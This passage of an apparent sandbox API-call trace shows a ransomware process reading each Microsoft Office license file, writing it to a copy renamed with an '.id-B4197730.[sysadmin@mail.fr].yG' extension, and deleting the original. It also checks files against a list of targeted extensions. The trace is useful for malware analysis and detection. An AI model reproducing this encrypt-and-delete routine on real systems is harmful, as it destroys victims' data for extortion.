	[0166.642] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0166.642] lstrlenW (lpString=".zip") returned 4
	[0166.642] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.642] lstrlenW (lpString=".rar") returned 4
	[0166.642] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.642] lstrlenW (lpString=".bz2") returned 4
	[0166.642] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.642] lstrlenW (lpString=".7z") returned 3
	[0166.642] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0166.642] lstrlenW (lpString=".dbf") returned 4
	[0166.643] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0166.643] lstrlenW (lpString=".1cd") returned 4
	[0166.643] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0166.643] lstrlenW (lpString=".jpg") returned 4
	[0166.643] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0166.649] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=10659) returned 1
	[0166.649] CloseHandle (hObject=0x550) returned 1
	[0166.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 0x220
	[0166.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0166.650] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.651] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0166.652] GetLastError () returned 0x0
	[0166.653] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x29a3, lpOverlapped=0x0) returned 1
	[0166.656] WriteFile (in: hFile=0x53c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0166.657] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.657] WriteFile (in: hFile=0x53c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x112, lpOverlapped=0x0) returned 1
	[0166.658] SetEndOfFile (hFile=0x53c) returned 1
	[0166.659] CloseHandle (hObject=0x53c) returned 1
	[0166.659] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.659] SetEndOfFile (hFile=0x550) returned 1
	[0166.663] CloseHandle (hObject=0x550) returned 1
	[0166.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 1
	[0166.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0166.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0166.665] lstrlenW (lpString=".doc") returned 4
	[0166.665] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.665] lstrlenW (lpString=".docx") returned 5
	[0166.665] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.665] lstrlenW (lpString=".pdf") returned 4
	[0166.665] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.665] lstrlenW (lpString=".xls") returned 4
	[0166.665] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.665] lstrlenW (lpString=".xlsx") returned 5
	[0166.665] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.665] lstrlenW (lpString=".ppt") returned 4
	[0166.666] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0166.666] lstrlenW (lpString=".zip") returned 4
	[0166.666] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.666] lstrlenW (lpString=".rar") returned 4
	[0166.666] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.666] lstrlenW (lpString=".bz2") returned 4
	[0166.666] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.666] lstrlenW (lpString=".7z") returned 3
	[0166.666] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0166.666] lstrlenW (lpString=".dbf") returned 4
	[0166.666] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0166.666] lstrlenW (lpString=".1cd") returned 4
	[0166.666] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0166.667] lstrlenW (lpString=".jpg") returned 4
	[0166.667] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0166.667] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=22092) returned 1
	[0166.667] CloseHandle (hObject=0x550) returned 1
	[0166.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 0x220
	[0166.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0166.669] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.669] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0166.670] GetLastError () returned 0x0
	[0166.670] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x564c, lpOverlapped=0x0) returned 1
	[0166.911] WriteFile (in: hFile=0x53c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0167.018] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.018] WriteFile (in: hFile=0x53c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x114, lpOverlapped=0x0) returned 1
	[0167.019] SetEndOfFile (hFile=0x53c) returned 1
	[0167.019] CloseHandle (hObject=0x53c) returned 1
	[0167.019] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.019] SetEndOfFile (hFile=0x550) returned 1
	[0167.024] CloseHandle (hObject=0x550) returned 1
	[0167.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 1
	[0167.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0167.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0167.027] lstrlenW (lpString=".doc") returned 4
	[0167.027] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0167.027] lstrlenW (lpString=".docx") returned 5
	[0167.027] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0167.027] lstrlenW (lpString=".pdf") returned 4
	[0167.027] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0167.027] lstrlenW (lpString=".xls") returned 4
	[0167.027] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0167.027] lstrlenW (lpString=".xlsx") returned 5
	[0167.027] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0167.027] lstrlenW (lpString=".ppt") returned 4
	[0167.027] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0167.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0167.027] lstrlenW (lpString=".zip") returned 4
	[0167.027] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0167.027] lstrlenW (lpString=".rar") returned 4
	[0167.027] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0167.027] lstrlenW (lpString=".bz2") returned 4
	[0167.027] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0167.027] lstrlenW (lpString=".7z") returned 3
	[0167.027] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0167.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0167.027] lstrlenW (lpString=".dbf") returned 4
	[0167.028] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0167.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0167.028] lstrlenW (lpString=".1cd") returned 4
	[0167.028] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0167.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0167.028] lstrlenW (lpString=".jpg") returned 4
	[0167.028] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0167.028] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=19958) returned 1
	[0167.028] CloseHandle (hObject=0x550) returned 1
	[0167.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 0x220
	[0167.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0167.029] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.030] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0167.030] GetLastError () returned 0x0
	[0167.030] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x4df6, lpOverlapped=0x0) returned 1
	[0167.037] WriteFile (in: hFile=0x53c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0167.038] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.038] WriteFile (in: hFile=0x53c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0167.038] SetEndOfFile (hFile=0x53c) returned 1
	[0167.039] CloseHandle (hObject=0x53c) returned 1
	[0167.039] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.039] SetEndOfFile (hFile=0x550) returned 1
	[0167.044] CloseHandle (hObject=0x550) returned 1
	[0167.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 1
	[0167.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0167.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0167.046] lstrlenW (lpString=".doc") returned 4
	[0167.046] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0167.046] lstrlenW (lpString=".docx") returned 5
	[0167.047] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0167.047] lstrlenW (lpString=".pdf") returned 4
	[0167.047] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0167.047] lstrlenW (lpString=".xls") returned 4
	[0167.047] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0167.047] lstrlenW (lpString=".xlsx") returned 5
	[0167.047] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0167.047] lstrlenW (lpString=".ppt") returned 4
	[0167.047] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0167.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0167.047] lstrlenW (lpString=".zip") returned 4
	[0167.047] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0167.047] lstrlenW (lpString=".rar") returned 4
	[0167.047] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0167.047] lstrlenW (lpString=".bz2") returned 4
	[0167.047] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0167.047] lstrlenW (lpString=".7z") returned 3
	[0167.047] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0167.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0167.047] lstrlenW (lpString=".dbf") returned 4
	[0167.047] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0167.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0167.047] lstrlenW (lpString=".1cd") returned 4
	[0167.048] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0167.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0167.048] lstrlenW (lpString=".jpg") returned 4
	[0167.048] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0167.048] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11167) returned 1
	[0167.048] CloseHandle (hObject=0x550) returned 1
	[0167.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 0x220
	[0167.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0167.050] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.050] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0167.052] GetLastError () returned 0x0
	[0167.052] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2b9f, lpOverlapped=0x0) returned 1
	[0167.061] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0167.062] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.062] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0167.063] SetEndOfFile (hFile=0x364) returned 1
	[0167.144] CloseHandle (hObject=0x364) returned 1
	[0167.144] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.144] SetEndOfFile (hFile=0x550) returned 1
	[0167.152] CloseHandle (hObject=0x550) returned 1
	[0167.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 1
	[0167.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0167.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0167.804] lstrlenW (lpString=".doc") returned 4
	[0167.804] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0167.804] lstrlenW (lpString=".docx") returned 5
	[0167.804] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0167.804] lstrlenW (lpString=".pdf") returned 4
	[0167.804] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0167.804] lstrlenW (lpString=".xls") returned 4
	[0167.804] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0167.804] lstrlenW (lpString=".xlsx") returned 5
	[0167.804] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0167.804] lstrlenW (lpString=".ppt") returned 4
	[0167.805] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0167.805] lstrlenW (lpString=".zip") returned 4
	[0167.805] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0167.805] lstrlenW (lpString=".rar") returned 4
	[0167.805] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0167.805] lstrlenW (lpString=".bz2") returned 4
	[0167.805] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0167.805] lstrlenW (lpString=".7z") returned 3
	[0167.805] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0167.805] lstrlenW (lpString=".dbf") returned 4
	[0167.805] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0167.805] lstrlenW (lpString=".1cd") returned 4
	[0167.805] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0167.805] lstrlenW (lpString=".jpg") returned 4
	[0167.805] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
